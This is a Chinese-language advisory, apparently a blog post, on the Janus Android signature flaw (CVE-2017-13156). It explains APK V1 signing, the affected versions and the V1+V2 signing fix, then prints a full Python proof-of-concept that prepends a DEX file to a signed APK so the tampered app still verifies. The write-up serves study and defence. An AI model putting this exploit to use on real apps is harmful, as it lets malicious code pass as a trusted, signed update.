CVE-2017-13156 : Janus安卓签名漏洞
事件概述:将DEX文件和APK文件拼接之后校验签名时只校验了文件的APK部分,而虚拟机执行时却执行了文件的DEX部分,导致了漏洞的发生;
影响范围:影响Android5.0-8.0的各个版本和使用安卓V1签名的APK文件;
技术详情:
Android 7.0之前的apk签名为v1方案(Jar Signature),apk也是一个zip文件,其中包含的目录、文件及应用开发者的签名信息都存储在META-INF文件夹中;
* .mf清单文件,列出对jar中除meta-inf文件夹外所有文件的sha1后进行base64编码
(openssl dgst -sha1 -binary res/layout/xxx.xml | openssl base64可以计算一个文件的hash值,写入.mf文件中)
* .sf开头的摘要值是对.mf文件的摘要,后续每行是对.mf文件对一个文件的描述的三行做一个摘要产生,方法同上
* .rsa 包含应用开发者的证书信息(包含开发者公钥),以及对.sf文件摘要的签名
apk的验证过程是依赖于zip文件格式,同时需要解压文件后依次校验,从.rsa的证书,到.sf文件的验证(用从.rsa文件中开发者证书提取出的公钥对.SF文件做数字签名,并将结果同.RSA文件中的.SF签名进行比对。如果不同,则验证不通过,拒绝安装。)再依次校验各个文件。
从上面几个文件间接可以理解apk的签名验证机制,它是如何保护文件不被篡改的。但可以发现meta-inf中的文件添加是不会破坏签名信息。
简单地说,把修改过的dex文件附加到V1签名的apk文件之前构造一个新的文件,V1方案只校验了新文件的apk部分,而执行时虚拟机根据magic header只执行了新文件的dex部分。
修复建议:
注意使用v1和v2混合签名。单纯的v2的签名在Android7.0以下是不支持的。
(如果android7.0以下的系统没有升级安全补丁,那么即使采用v1+v2的混合签名也是没有意义的。)
apk签名v2方案是Android 7.0时推出的,和v1方案的区别主要是不再需要解压apk,而是直接校验apk文件,除了签名信息块外,所有对apk文件的修改都会被检测出来,此时该漏洞添加dex文件的方式不再有效。
在apk文件的META-INF文件夹.sf文件中开头有X-Android-APK-Signed: 2,表明是使用了v1+v2签名,没有则是v1签名。连.sf文件都没有那是仅采用了v2签名。
poc:
#!/usr/bin/python
import sys
import struct
import hashlib
from zlib import adler32
def update_checksum(data):
m = hashlib.sha1()
m.update(data[32:])
data[12:12+20] = m.digest()
v = adler32(buffer(data[12:])) & 0xffffffff
data[8:12] = struct.pack("<L", v)
def main():
if len(sys.argv) != 4:
print("usage: %s dex apk out_apk" % __file__)
return
_, dex, apk, out_apk = sys.argv
with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)
with open(apk, 'rb') as f:
apk_data = bytearray(f.read())
cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)
pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
if pos == -1:
break
out_data = dex_data + apk_data
out_data[32:36] = struct.pack("<L", len(out_data))
update_checksum(out_data)
with open(out_apk, "wb") as f:
f.write(out_data)
print ('%s generated' % out_apk)
if __name__ == '__main__':
main()
apk v2签名:
https://source.android.google.cn/security/apksigning/v2?hl=zh-cn
zip格式解析: